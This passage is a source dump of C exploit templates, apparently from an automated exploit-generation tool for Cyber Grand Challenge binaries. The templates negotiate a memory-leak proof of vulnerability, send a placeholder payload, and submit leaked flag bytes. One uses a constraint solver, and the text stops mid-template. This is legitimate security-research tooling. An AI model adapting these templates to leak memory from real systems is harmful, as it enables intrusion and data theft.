len++; 176 | } 177 | for(i = 0; i < (len/2); i++) 178 | { 179 | c = str[i]; 180 | str [i] = str[len - i - 1]; 181 | str[len - i - 1] = c; 182 | } 183 | return str; 184 | } 185 | 186 | int itoa_len(int num, unsigned char* str, int len, int base) 187 | { 188 | int negative = 0; 189 | if (num < 0) { 190 | negative = 1; 191 | num = -num; 192 | len -= 1; 193 | } 194 | 195 | int sum = num; 196 | int i = 0; 197 | int digit; 198 | 199 | if (len == 0) 200 | return -1; 201 | do 202 | { 203 | digit = sum % base; 204 | if (digit < 0xA) 205 | str[i++] = '0' + digit; 206 | else 207 | str[i++] = 'A' + digit - 0xA; 208 | sum /= base; 209 | } while (sum && (i < (len - 1))); 210 | if (i == (len - 1) && sum) 211 | return -1; 212 | 213 | if (negative) { 214 | str[i] = '-'; 215 | i++; 216 | } 217 | 218 | str[i] = '\\0'; 219 | strrev((char*)str); 220 | return 0; 221 | } 222 | 223 | size_t receive_n_timeout( int fd, void *dst_buf, size_t n_bytes, int timeout_us ) 224 | { 225 | char *dst = dst_buf; 226 | size_t len = 0; 227 | size_t rx = 0; 228 | while(len < n_bytes) { 229 | if (!fd_ready_timeout(fd, timeout_us)) { 230 | return len; 231 | } 232 | 233 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 234 | len = 0; 235 | break; 236 | } 237 | if (rx == 0) { 238 | return len; 239 | } 240 | len += rx; 241 | } 242 | 243 | return len; 244 | } 245 | 246 | /* 247 | * Receive n_bytes into no particular buffer. 248 | */ 249 | size_t blank_receive( int fd, size_t n_bytes ) 250 | { 251 | size_t len = 0; 252 | size_t rx = 0; 253 | char junk_byte; 254 | 255 | while (len < n_bytes) { 256 | if (!fd_ready(fd)) { 257 | return len; 258 | } 259 | if (receive(fd, &junk_byte, 1, &rx) != 0) { 260 | len = 0; 261 | break; 262 | } 263 | len += rx; 264 | } 265 | 266 | return len; 267 | } 268 | 269 | char to_char(char *str) { 270 | int i; 271 | char r = '\\0'; 272 | 273 | /* result can '0', '1' or 'x', if 'x' just 0 */ 274 | for(i=0;i<8;i++) 275 | r |= ((str[7-i] - '0') & 1) << i; 276 | 277 | return r; 278 | } 279 | 280 | unsigned int to_int(char *str) { 281 | int i; 282 | int r = 0; 283 | 284 | if (strlen(str) != 32) 285 | die("bv_assignment returned a string not of length 32\\n"); 286 | 287 | /* result can '0', '1' or 'x', if 'x' just 0 */ 288 | for(i=0;i<32;i++) 289 | r |= ((str[31-i] - '0') & 1) << i; 290 | 291 | return r; 292 | } 293 | 294 | void to_bits(char *dst, char c) { 295 | int i; 296 | for(i=0;i<8;i++) { 297 | dst[i] = '0' + ((c & (1 << (7-i))) >> (7-i)); 298 | } 299 | } 300 | 301 | // function to get the real offsets 302 | size_t real_payload_off(size_t payload_off) { 303 | size_t out_off = payload_off; 304 | for (int i = 0; i < {num_payload_ints}; i++) { 305 | if (payload_off > payload_int_start_locs[i]+1) { 306 | out_off += payload_int_corrections[i]; 307 | } 308 | } 309 | return out_off; 310 | } 311 | 312 | size_t real_recv_off(size_t recv_start) { 313 | size_t out_off = recv_start; 314 | for (int i = 0; i < {num_recv_ints}; i++) { 315 | if (recv_start > recv_int_start_locs[i]+1) { 316 | out_off += recv_int_corrections[i]; 317 | } 318 | } 319 | return out_off; 320 | } 321 | 322 | size_t check_for_recv_extra(size_t recv_start, size_t num_bytes) { 323 | size_t num_extra = 0; 324 | for (int i = 0; i < {num_recv_ints}; i++) { 325 | if (recv_start <= recv_int_start_locs[i] && recv_start+num_bytes > recv_int_start_locs[i]) { 326 | num_extra += 8; 327 | } 328 | } 329 | return num_extra; 330 | } 331 | 332 | size_t fixup_recv_amount(size_t recv_start, size_t recv_amount) { 333 | // we want the recv amount to be what it would be if all integer lengths were the same 334 | size_t fixed_recv_amount = recv_amount; 335 | for (int i = 0; i < {num_recv_ints}; i++) { 336 | if (recv_start <= recv_int_start_locs[i] && recv_start+recv_amount > recv_int_start_locs[i]) { 337 | // we read in an integer, get the length of the integer we read 338 | int len = get_int_len(received_data+real_recv_off(recv_int_start_locs[i]), recv_int_bases[i], recv_amount-(recv_int_start_locs[i]-recv_start)); 339 | // store the difference between it and the expected length 340 | recv_int_corrections[i] = len-recv_int_expected_lens[i]; 341 | // fix recv amount 342 | fixed_recv_amount -= recv_int_corrections[i]; 343 | } 344 | } 345 | return fixed_recv_amount; 346 | } 347 | 348 | void set_payload_int_solve_result(Btor *btor, int bid, int base, int int_info_num) { 349 | char temp_int_buf[0x20] = {0}; 350 | // get the solve result 351 | BoolectorNode *int_val = boolector_match_node_by_id(btor, bid); 352 | int temp_int = to_int(boolector_bv_assignment(btor, int_val)); 353 | 354 | // convert to ascii 355 | itoa_len(temp_int, (unsigned char*)temp_int_buf, sizeof(temp_int_buf), base); 356 | // get the length, and the expected length 357 | int int_len = strlen(temp_int_buf); 358 | int expected_len = payload_int_expected_lens[int_info_num]; 359 | int correction = int_len - expected_len; 360 | 361 | // now we move stuff if needed 362 | int real_int_start = real_payload_off(payload_int_start_locs[int_info_num]); 363 | // only move stuff if the correction wasn't set 364 | if (payload_int_corrections[int_info_num] != correction) { 365 | int dest_off = real_int_start + int_len; 366 | int current_off = real_int_start + expected_len + payload_int_corrections[int_info_num]; 367 | // realloc if needed 368 | if (current_off > dest_off) { 369 | size_t old_payload_buffer_len = payload_buffer_len; 370 | payload_buffer_len += current_off - dest_off; 371 | payload = realloc_zero(payload, old_payload_buffer_len, payload_buffer_len); 372 | } 373 | safe_memcpy(payload + dest_off, payload + current_off, real_payload_off(payload_len)-current_off); 374 | payload_int_corrections[int_info_num] = correction; 375 | } 376 | memcpy(payload + real_int_start, temp_int_buf, int_len); 377 | 378 | } 379 | 380 | // end of fixup codes 381 | 382 | void make_new_symbol(char symbol_name[0x40]) { 383 | num_symbols++; 384 | memset(symbol_name, 0, 0x40); 385 | sprintf(symbol_name, "sym_%d", num_symbols); 386 | } 387 | 388 | void append_byte_to_output(Btor *btor, size_t byte_idx) { 389 | BoolectorNode *new_byte; 390 | // if the byte has been read in we use a concrete bv 391 | if (byte_idx < recv_off) { 392 | new_byte = boolector_unsigned_int(btor, received_data[real_recv_off(byte_idx)], 8); 393 | } 394 | else { 395 | // if the byte has not been read in yet, we use a new symbolic value 396 | char symbol_name[0x40]; 397 | make_new_symbol(symbol_name); 398 | new_byte = boolector_var(btor, 8, symbol_name); 399 | } 400 | 401 | /* update output */ 402 | if (output_val == NULL) { 403 | output_val = new_byte; 404 | } 405 | else { 406 | output_val = boolector_concat(btor, output_val, new_byte); 407 | } 408 | } 409 | 410 | typedef struct type1_vals_ { 411 | unsigned int ipval; 412 | unsigned int regval; 413 | } type1_vals; 414 | 415 | typedef struct type2_vals_ { 416 | unsigned int region_addr; 417 | unsigned int region_size; 418 | unsigned int read_size; 419 | } type2_vals; 420 | 421 | 422 | /* 423 | * Negotiate a type 1 pov. Caller specifies an ip bit mask, a register bit mask 424 | * and a general purpose register number (see the list below). 425 | * 426 | 0 - eax 427 | 1 - ecx 428 | 2 - edx 429 | 3 - ebx 430 | 4 - esp 431 | 5 - ebp 432 | 6 - esi 433 | 7 - edi 434 | * 435 | * Returns 0 on success. On success, the t1vals structure holds required IP 436 | * and register values that must be found when the target CB crashes. At the 437 | * time of the crash the following must hold: 438 | * (crash_eip & ipmask) == t1vals->ipval 439 | * (crash_REG & regmask) == t1vals->regval 440 | */ 441 | int type1_negotiate(unsigned int ipmask, unsigned int regmask, unsigned int regnum, type1_vals *t1vals) { 442 | uint32_t povType = 1; 443 | if (send_all(3, &povType, sizeof(povType)) || 444 | send_all(3, &ipmask, sizeof(ipmask)) || 445 | send_all(3, ®mask, sizeof(regmask)) || 446 | send_all(3, ®num, sizeof(regnum))) { 447 | return -1; 448 | } 449 | if (receive_n(3, (unsigned char *)t1vals, sizeof(type1_vals)) != sizeof(type1_vals)) { 450 | return -1; 451 | } 452 | return 0; 453 | } 454 | 455 | /* 456 | * Negotiate a type 2 pov. 457 | * Returns 0 on success. On success, the t2vals structure holds the address 458 | * (t2vals->region_addr) and size of a memory region (t2vals->region_size) 459 | * from which the POV must leak a specific number of bytes (t2vals->read_size). 460 | */ 461 | int type2_negotiate(type2_vals *t2vals) { 462 | uint32_t povType = 2; 463 | if (send_all(3, &povType, sizeof(povType))) { 464 | return -1; 465 | } 466 | if (receive_n(3, (unsigned char *)t2vals, sizeof(type2_vals)) != sizeof(type2_vals)) { 467 | return -1; 468 | } 469 | return 0; 470 | } 471 | 472 | /* 473 | * Submit the len bytes in the val buffer as the results of a type 2 POV 474 | * Returns 0 on success 475 | */ 476 | int type2_submit(const unsigned char *val, size_t len) { 477 | return send_all(3, val, len); 478 | } 479 | 480 | void constrain_output_var(Btor *btor, int output_var_idx) { 481 | output_val = NULL; 482 | {byte_getting_code} 483 | 484 | BoolectorNode *output_val_var = boolector_match_node_by_id(btor, output_var_idx); 485 | BoolectorNode *con = boolector_eq(btor, output_val_var, output_val); 486 | boolector_assert(btor, con); 487 | } 488 | 489 | 490 | int do_pov() { 491 | type2_vals t2vals; 492 | if (type2_negotiate(&t2vals) != 0) { 493 | die("type 2 negotiate failure\\n"); 494 | } 495 | 496 | char *error; 497 | int status; 498 | 499 | const char orig_payload[] = "{raw_payload}"; 500 | payload_buffer_len = payload_len; 501 | payload = malloc(payload_len); 502 | memcpy(payload, orig_payload, payload_len); 503 | recv_buf_len = {recv_buf_len}; 504 | received_data = calloc(recv_buf_len, 1); 505 | 506 | BoolectorNode *cur_byte; 507 | 508 | // current position in the payload 509 | size_t payload_off = 0; 510 | 511 | // *** integer stuff *** 512 | // a buffer for copying integers to and checking them 513 | char temp_int_buf[0x20]; 514 | unsigned long temp_int; 515 | BoolectorNode *int_val; 516 | BoolectorNode *int_val_var; 517 | BoolectorNode *int_con; 518 | int recv_extra_for_int = 0; 519 | size_t fake_recv_amount = 0; 520 | size_t send_amount = 0; 521 | size_t recv_amount = 0; 522 | size_t old_recv_buf_len = 0; 523 | // *** end integer stuff *** 524 | 525 | // BoolectorNodes for use in challenge response 526 | BoolectorNode *stdout_val_var; 527 | BoolectorNode *stdout_val; 528 | BoolectorNode *stdout_con; 529 | BoolectorNode *payload_val; 530 | BoolectorNode *payload_val_var; 531 | BoolectorNode *payload_con; 532 | 533 | {solver_code} 534 | 535 | if (payload_off < payload_len) { 536 | send_all(1, payload+real_payload_off(payload_off), real_payload_off(payload_len)-real_payload_off(payload_off)); 537 | } 538 | recv_off += receive_n_timeout(0, received_data+real_recv_off(recv_off), real_recv_off({recv_buf_len}) - real_recv_off(recv_off), 500000); 539 | 540 | BoolectorNode *cgc_flag_0_var = boolector_match_node_by_id({btor_name}, {cgc_flag0_idx}); 541 | BoolectorNode *cgc_flag_1_var = boolector_match_node_by_id({btor_name}, {cgc_flag1_idx}); 542 | BoolectorNode *cgc_flag_2_var = boolector_match_node_by_id({btor_name}, {cgc_flag2_idx}); 543 | BoolectorNode *cgc_flag_3_var = boolector_match_node_by_id({btor_name}, {cgc_flag3_idx}); 544 | 545 | char *flag_byte1 = boolector_bv_assignment({btor_name}, cgc_flag_0_var); 546 | char *flag_byte2 = boolector_bv_assignment({btor_name}, cgc_flag_1_var); 547 | char *flag_byte3 = boolector_bv_assignment({btor_name}, cgc_flag_2_var); 548 | char *flag_byte4 = boolector_bv_assignment({btor_name}, cgc_flag_3_var); 549 | char flag[4]; 550 | 551 | flag[0] = to_char(flag_byte1); 552 | flag[1] = to_char(flag_byte2); 553 | flag[2] = to_char(flag_byte3); 554 | flag[3] = to_char(flag_byte4); 555 | 556 | type2_submit((unsigned char *)flag, t2vals.read_size); 557 | 558 | return 0; 559 | } 560 | 561 | int main(void) { 562 | /* align the stack so that boolector can work in all circumstances */ 563 | asm(\"and $0xfffffff0, %esp\\n\"); 564 | 565 | /* terminate, stack hasn't been fixed up */ 566 | _terminate(do_pov()); 567 | } 568 | 569 | """ 570 | -------------------------------------------------------------------------------- /colorguard/pov/c_templates/naive_atoi_c_template.py: -------------------------------------------------------------------------------- 1 | naive_atoi_c_template = """ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | enum register_t 8 | { 9 | eax = 0, 10 | ecx = 1, 11 | edx = 2, 12 | ebx = 3, 13 | esp = 4, 14 | ebp = 5, 15 | esi = 6, 16 | edi = 7 17 | }; 18 | 19 | void die(const char *str) { 20 | transmit(2, str, strlen(str), NULL); 21 | _terminate(1); 22 | } 23 | 24 | void debug_str(const char *str) { 25 | transmit(2, str, strlen(str), NULL); 26 | } 27 | 28 | /* 29 | * Test file descriptor readiness. 30 | */ 31 | 32 | int fd_ready(int fd) { 33 | struct timeval tv; 34 | fd_set rfds; 35 | int readyfds = 0; 36 | 37 | FD_SET(fd, &rfds); 38 | 39 | tv.tv_sec = 1; 40 | tv.tv_usec = 0; 41 | 42 | int ret; 43 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 44 | 45 | /* bail if fdwait fails */ 46 | if (ret != 0) { 47 | return 0; 48 | } 49 | if (readyfds == 0) 50 | return 0; 51 | 52 | return 1; 53 | } 54 | 55 | size_t receive_n( int fd, unsigned char *dst, size_t n_bytes ) 56 | { 57 | size_t len = 0; 58 | size_t rx = 0; 59 | while(len < n_bytes) { 60 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 61 | len = 0; 62 | break; 63 | } 64 | len += rx; 65 | } 66 | 67 | return len; 68 | } 69 | 70 | int send_all(int fd, const void *msg, size_t n_bytes) 71 | { 72 | size_t len = 0; 73 | size_t tx = 0; 74 | while(len < n_bytes) { 75 | if (transmit(fd, (char *)msg + len, n_bytes - len, &tx) != 0) { 76 | return 1; 77 | } 78 | len += tx; 79 | } 80 | return 0; 81 | } 82 | 83 | void debug_print(const char *msg) { 84 | size_t len = (size_t)strlen(msg); 85 | transmit(2, msg, len, 0); 86 | } 87 | 88 | int fd_ready_timeout(int fd, int timeout_us) { 89 | struct timeval tv; 90 | fd_set rfds; 91 | int readyfds = 0; 92 | 93 | FD_SET(fd, &rfds); 94 | 95 | tv.tv_sec = timeout_us/1000000; 96 | tv.tv_usec = timeout_us % 1000000; 97 | 98 | int ret; 99 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 100 | 101 | /* bail if fdwait fails */ 102 | if (ret != 0) { 103 | return 0; 104 | } 105 | if (readyfds == 0) 106 | return 0; 107 | 108 | return 1; 109 | } 110 | 111 | size_t receive_n_timeout( int fd, void *dst_buf, size_t n_bytes, int timeout_us ) 112 | { 113 | char *dst = dst_buf; 114 | size_t len = 0; 115 | size_t rx = 0; 116 | while(len < n_bytes) { 117 | if (!fd_ready_timeout(fd, timeout_us)) { 118 | return len; 119 | } 120 | 121 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 122 | len = 0; 123 | break; 124 | } 125 | if (rx == 0) { 126 | return len; 127 | } 128 | len += rx; 129 | } 130 | 131 | return len; 132 | } 133 | 134 | /* 135 | * Receive n_bytes into no particular buffer. 136 | */ 137 | size_t blank_receive( int fd, size_t n_bytes ) 138 | { 139 | size_t len = 0; 140 | size_t rx = 0; 141 | char junk_byte; 142 | 143 | while (len < n_bytes) { 144 | if (!fd_ready(fd)) { 145 | return len; 146 | } 147 | if (receive(fd, &junk_byte, 1, &rx) != 0) { 148 | len = 0; 149 | break; 150 | } 151 | len += rx; 152 | } 153 | 154 | return len; 155 | } 156 | 157 | unsigned char 158 | to_bin(char c) 159 | { 160 | if (c >= '0' && c <= '9') 161 | return c - '0'; 162 | else if (c >= 'a' && c <= 'f') 163 | return c - 'a' + 10; 164 | else if (c >= 'A' && c <= 'F') 165 | return c - 'A' + 10; 166 | else 167 | return 0; 168 | } 169 | 170 | unsigned int hex_to_uint(char *s) 171 | { 172 | unsigned int ret = 0; 173 | size_t i; 174 | 175 | for (i = 4; i > 0; i--) { 176 | ret = (ret << 8) | (to_bin(s[2 * (i - 1)]) << 4); 177 | ret |= to_bin(s[2 * (i - 1) + 1]); 178 | } 179 | 180 | return ret; 181 | } 182 | 183 | 184 | void from_hex(char *dst, char *src) { 185 | int h = hex_to_uint(src); 186 | 187 | memcpy(dst, &h, 4); 188 | } 189 | 190 | 191 | typedef struct type2_vals_ { 192 | unsigned int region_addr; 193 | unsigned int region_size; 194 | unsigned int read_size; 195 | } type2_vals; 196 | 197 | /* 198 | * Negotiate a type 2 pov. 199 | * Returns 0 on success. On success, the t2vals structure holds the address 200 | * (t2vals->region_addr) and size of a memory region (t2vals->region_size) 201 | * from which the POV must leak a specific number of bytes (t2vals->read_size). 202 | */ 203 | int type2_negotiate(type2_vals *t2vals) { 204 | uint32_t povType = 2; 205 | if (send_all(3, &povType, sizeof(povType))) { 206 | return -1; 207 | } 208 | if (receive_n(3, (unsigned char *)t2vals, sizeof(type2_vals)) != sizeof(type2_vals)) { 209 | return -1; 210 | } 211 | return 0; 212 | } 213 | 214 | /* 215 | * Submit the len bytes in the val buffer as the results of a type 2 POV 216 | * Returns 0 on success 217 | */ 218 | int type2_submit(const unsigned char *val, size_t len) { 219 | return send_all(3, val, len); 220 | } 221 | 222 | int do_pov() { 223 | type2_vals t2vals; 224 | if (type2_negotiate(&t2vals) != 0) { 225 | die("type 2 negotiate failure\\n"); 226 | } 227 | 228 | const char payload[] = "{raw_payload}"; 229 | size_t recv_buf_len = {recv_buf_len}; 230 | char *received_data = calloc(recv_buf_len, 1); 231 | if (!received_data) 232 | die("failed to calloc received data\\n"); 233 | 234 | send_all(1, payload, {payload_len}); 235 | 236 | receive_n_timeout(0, received_data, recv_buf_len, 500000); 237 | 238 | char str_flag[12] = {0}; 239 | str_flag[0] = received_data[{flag_byte_1}]; 240 | str_flag[1] = received_data[{flag_byte_2}]; 241 | str_flag[2] = received_data[{flag_byte_3}]; 242 | str_flag[3] = received_data[{flag_byte_4}]; 243 | str_flag[4] = received_data[{flag_byte_5}]; 244 | str_flag[5] = received_data[{flag_byte_6}]; 245 | str_flag[6] = received_data[{flag_byte_7}]; 246 | str_flag[7] = received_data[{flag_byte_8}]; 247 | str_flag[8] = received_data[{flag_byte_9}]; 248 | str_flag[9] = received_data[{flag_byte_10}]; 249 | str_flag[10] = received_data[{flag_byte_11}]; 250 | 251 | int flag = strtol(str_flag, NULL, 10); 252 | 253 | type2_submit((unsigned char *)&flag, t2vals.read_size); 254 | 255 | return 0; 256 | } 257 | 258 | int main(void) { 259 | /* align the stack so that boolector can work in all circumstances */ 260 | asm(\"and $0xfffffff0, %esp\\n\"); 261 | 262 | /* terminate, stack hasn't been fixed up */ 263 | _terminate(do_pov()); 264 | } 265 | 266 | """ 267 | -------------------------------------------------------------------------------- /colorguard/pov/c_templates/naive_c_template.py: -------------------------------------------------------------------------------- 1 | naive_c_template = """ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | enum register_t 8 | { 9 | eax = 0, 10 | ecx = 1, 11 | edx = 2, 12 | ebx = 3, 13 | esp = 4, 14 | ebp = 5, 15 | esi = 6, 16 | edi = 7 17 | }; 18 | 19 | void die(const char *str) { 20 | transmit(2, str, strlen(str), NULL); 21 | _terminate(1); 22 | } 23 | 24 | void debug_str(const char *str) { 25 | transmit(2, str, strlen(str), NULL); 26 | } 27 | 28 | /* 29 | * Test file descriptor readiness. 30 | */ 31 | 32 | int fd_ready(int fd) { 33 | struct timeval tv; 34 | fd_set rfds; 35 | int readyfds = 0; 36 | 37 | FD_SET(fd, &rfds); 38 | 39 | tv.tv_sec = 1; 40 | tv.tv_usec = 0; 41 | 42 | int ret; 43 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 44 | 45 | /* bail if fdwait fails */ 46 | if (ret != 0) { 47 | return 0; 48 | } 49 | if (readyfds == 0) 50 | return 0; 51 | 52 | return 1; 53 | } 54 | 55 | size_t receive_n( int fd, unsigned char *dst, size_t n_bytes ) 56 | { 57 | size_t len = 0; 58 | size_t rx = 0; 59 | while(len < n_bytes) { 60 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 61 | len = 0; 62 | break; 63 | } 64 | len += rx; 65 | } 66 | 67 | return len; 68 | } 69 | 70 | int send_all(int fd, const void *msg, size_t n_bytes) 71 | { 72 | size_t len = 0; 73 | size_t tx = 0; 74 | while(len < n_bytes) { 75 | if (transmit(fd, (char *)msg + len, n_bytes - len, &tx) != 0) { 76 | return 1; 77 | } 78 | len += tx; 79 | } 80 | return 0; 81 | } 82 | 83 | void debug_print(const char *msg) { 84 | size_t len = (size_t)strlen(msg); 85 | transmit(2, msg, len, 0); 86 | } 87 | 88 | int fd_ready_timeout(int fd, int timeout_us) { 89 | struct timeval tv; 90 | fd_set rfds; 91 | int readyfds = 0; 92 | 93 | FD_SET(fd, &rfds); 94 | 95 | tv.tv_sec = timeout_us/1000000; 96 | tv.tv_usec = timeout_us % 1000000; 97 | 98 | int ret; 99 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 100 | 101 | /* bail if fdwait fails */ 102 | if (ret != 0) { 103 | return 0; 104 | } 105 | if (readyfds == 0) 106 | return 0; 107 | 108 | return 1; 109 | } 110 | 111 | size_t receive_n_timeout( int fd, void *dst_buf, size_t n_bytes, int timeout_us ) 112 | { 113 | char *dst = dst_buf; 114 | size_t len = 0; 115 | size_t rx = 0; 116 | while(len < n_bytes) { 117 | if (!fd_ready_timeout(fd, timeout_us)) { 118 | return len; 119 | } 120 | 121 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 122 | len = 0; 123 | break; 124 | } 125 | if (rx == 0) { 126 | return len; 127 | } 128 | len += rx; 129 | } 130 | 131 | return len; 132 | } 133 | 134 | /* 135 | * Receive n_bytes into no particular buffer. 136 | */ 137 | size_t blank_receive( int fd, size_t n_bytes ) 138 | { 139 | size_t len = 0; 140 | size_t rx = 0; 141 | char junk_byte; 142 | 143 | while (len < n_bytes) { 144 | if (!fd_ready(fd)) { 145 | return len; 146 | } 147 | if (receive(fd, &junk_byte, 1, &rx) != 0) { 148 | len = 0; 149 | break; 150 | } 151 | len += rx; 152 | } 153 | 154 | return len; 155 | } 156 | 157 | typedef struct type2_vals_ { 158 | unsigned int region_addr; 159 | unsigned int region_size; 160 | unsigned int read_size; 161 | } type2_vals; 162 | 163 | /* 164 | * Negotiate a type 2 pov. 165 | * Returns 0 on success. On success, the t2vals structure holds the address 166 | * (t2vals->region_addr) and size of a memory region (t2vals->region_size) 167 | * from which the POV must leak a specific number of bytes (t2vals->read_size). 168 | */ 169 | int type2_negotiate(type2_vals *t2vals) { 170 | uint32_t povType = 2; 171 | if (send_all(3, &povType, sizeof(povType))) { 172 | return -1; 173 | } 174 | if (receive_n(3, (unsigned char *)t2vals, sizeof(type2_vals)) != sizeof(type2_vals)) { 175 | return -1; 176 | } 177 | return 0; 178 | } 179 | 180 | /* 181 | * Submit the len bytes in the val buffer as the results of a type 2 POV 182 | * Returns 0 on success 183 | */ 184 | int type2_submit(const unsigned char *val, size_t len) { 185 | return send_all(3, val, len); 186 | } 187 | 188 | int do_pov() { 189 | type2_vals t2vals; 190 | if (type2_negotiate(&t2vals) != 0) { 191 | die("type 2 negotiate failure\\n"); 192 | } 193 | 194 | const char payload[] = "{raw_payload}"; 195 | size_t recv_buf_len = {recv_buf_len}; 196 | char *received_data = calloc(recv_buf_len, 1); 197 | if (!received_data) 198 | die("failed to calloc received data\\n"); 199 | 200 | send_all(1, payload, {payload_len}); 201 | 202 | receive_n(0, received_data, recv_buf_len); 203 | 204 | char flag[4]; 205 | 206 | flag[0] = received_data[{flag_byte_1}]; 207 | flag[1] = received_data[{flag_byte_2}]; 208 | flag[2] = received_data[{flag_byte_3}]; 209 | flag[3] = received_data[{flag_byte_4}]; 210 | 211 | type2_submit((unsigned char *)flag, t2vals.read_size); 212 | 213 | return 0; 214 | } 215 | 216 | int main(void) { 217 | /* align the stack so that boolector can work in all circumstances */ 218 | asm(\"and $0xfffffff0, %esp\\n\"); 219 | 220 | /* terminate, stack hasn't been fixed up */ 221 | _terminate(do_pov()); 222 | } 223 | 224 | """ 225 | -------------------------------------------------------------------------------- /colorguard/pov/c_templates/naive_hex_c_template.py: -------------------------------------------------------------------------------- 1 | naive_hex_c_template = """ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | enum register_t 8 | { 9 | eax = 0, 10 | ecx = 1, 11 | edx = 2, 12 | ebx = 3, 13 | esp = 4, 14 | ebp = 5, 15 | esi = 6, 16 | edi = 7 17 | }; 18 | 19 | void die(const char *str) { 20 | transmit(2, str, strlen(str), NULL); 21 | _terminate(1); 22 | } 23 | 24 | void debug_str(const char *str) { 25 | transmit(2, str, strlen(str), NULL); 26 | } 27 | 28 | /* 29 | * Test file descriptor readiness. 30 | */ 31 | 32 | int fd_ready(int fd) { 33 | struct timeval tv; 34 | fd_set rfds; 35 | int readyfds = 0; 36 | 37 | FD_SET(fd, &rfds); 38 | 39 | tv.tv_sec = 1; 40 | tv.tv_usec = 0; 41 | 42 | int ret; 43 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 44 | 45 | /* bail if fdwait fails */ 46 | if (ret != 0) { 47 | return 0; 48 | } 49 | if (readyfds == 0) 50 | return 0; 51 | 52 | return 1; 53 | } 54 | 55 | size_t receive_n( int fd, unsigned char *dst, size_t n_bytes ) 56 | { 57 | size_t len = 0; 58 | size_t rx = 0; 59 | while(len < n_bytes) { 60 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 61 | len = 0; 62 | break; 63 | } 64 | len += rx; 65 | } 66 | 67 | return len; 68 | } 69 | 70 | int send_all(int fd, const void *msg, size_t n_bytes) 71 | { 72 | size_t len = 0; 73 | size_t tx = 0; 74 | while(len < n_bytes) { 75 | if (transmit(fd, (char *)msg + len, n_bytes - len, &tx) != 0) { 76 | return 1; 77 | } 78 | len += tx; 79 | } 80 | return 0; 81 | } 82 | 83 | void debug_print(const char *msg) { 84 | size_t len = (size_t)strlen(msg); 85 | transmit(2, msg, len, 0); 86 | } 87 | 88 | int fd_ready_timeout(int fd, int timeout_us) { 89 | struct timeval tv; 90 | fd_set rfds; 91 | int readyfds = 0; 92 | 93 | FD_SET(fd, &rfds); 94 | 95 | tv.tv_sec = timeout_us/1000000; 96 | tv.tv_usec = timeout_us % 1000000; 97 | 98 | int ret; 99 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 100 | 101 | /* bail if fdwait fails */ 102 | if (ret != 0) { 103 | return 0; 104 | } 105 | if (readyfds == 0) 106 | return 0; 107 | 108 | return 1; 109 | } 110 | 111 | size_t receive_n_timeout( int fd, void *dst_buf, size_t n_bytes, int timeout_us ) 112 | { 113 | char *dst = dst_buf; 114 | size_t len = 0; 115 | size_t rx = 0; 116 | while(len < n_bytes) { 117 | if (!fd_ready_timeout(fd, timeout_us)) { 118 | return len; 119 | } 120 | 121 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 122 | len = 0; 123 | break; 124 | } 125 | if (rx == 0) { 126 | return len; 127 | } 128 | len += rx; 129 | } 130 | 131 | return len; 132 | } 133 | 134 | /* 135 | * Receive n_bytes into no particular buffer. 136 | */ 137 | size_t blank_receive( int fd, size_t n_bytes ) 138 | { 139 | size_t len = 0; 140 | size_t rx = 0; 141 | char junk_byte; 142 | 143 | while (len < n_bytes) { 144 | if (!fd_ready(fd)) { 145 | return len; 146 | } 147 | if (receive(fd, &junk_byte, 1, &rx) != 0) { 148 | len = 0; 149 | break; 150 | } 151 | len += rx; 152 | } 153 | 154 | return len; 155 | } 156 | 157 | unsigned char 158 | to_bin(char c) 159 | { 160 | if (c >= '0' && c <= '9') 161 | return c - '0'; 162 | else if (c >= 'a' && c <= 'f') 163 | return c - 'a' + 10; 164 | else if (c >= 'A' && c <= 'F') 165 | return c - 'A' + 10; 166 | else 167 | return 0; 168 | } 169 | 170 | unsigned int hex_to_uint(char *s) 171 | { 172 | unsigned int ret = 0; 173 | size_t i; 174 | 175 | for (i = 4; i > 0; i--) { 176 | ret = (ret << 8) | (to_bin(s[2 * (i - 1)]) << 4); 177 | ret |= to_bin(s[2 * (i - 1) + 1]); 178 | } 179 | 180 | return ret; 181 | } 182 | 183 | 184 | void from_hex(char *dst, char *src) { 185 | int h = hex_to_uint(src); 186 | 187 | memcpy(dst, &h, 4); 188 | } 189 | 190 | 191 | typedef struct type2_vals_ { 192 | unsigned int region_addr; 193 | unsigned int region_size; 194 | unsigned int read_size; 195 | } type2_vals; 196 | 197 | /* 198 | * Negotiate a type 2 pov. 199 | * Returns 0 on success. On success, the t2vals structure holds the address 200 | * (t2vals->region_addr) and size of a memory region (t2vals->region_size) 201 | * from which the POV must leak a specific number of bytes (t2vals->read_size). 202 | */ 203 | int type2_negotiate(type2_vals *t2vals) { 204 | uint32_t povType = 2; 205 | if (send_all(3, &povType, sizeof(povType))) { 206 | return -1; 207 | } 208 | if (receive_n(3, (unsigned char *)t2vals, sizeof(type2_vals)) != sizeof(type2_vals)) { 209 | return -1; 210 | } 211 | return 0; 212 | } 213 | 214 | /* 215 | * Submit the len bytes in the val buffer as the results of a type 2 POV 216 | * Returns 0 on success 217 | */ 218 | int type2_submit(const unsigned char *val, size_t len) { 219 | return send_all(3, val, len); 220 | } 221 | 222 | int do_pov() { 223 | type2_vals t2vals; 224 | if (type2_negotiate(&t2vals) != 0) { 225 | die("type 2 negotiate failure\\n"); 226 | } 227 | 228 | const char payload[] = "{raw_payload}"; 229 | size_t recv_buf_len = {recv_buf_len}; 230 | char *received_data = calloc(recv_buf_len, 1); 231 | if (!received_data) 232 | die("failed to calloc received data\\n"); 233 | 234 | send_all(1, payload, {payload_len}); 235 | 236 | receive_n(0, received_data, recv_buf_len); 237 | 238 | char hex_flag[8]; 239 | hex_flag[0] = 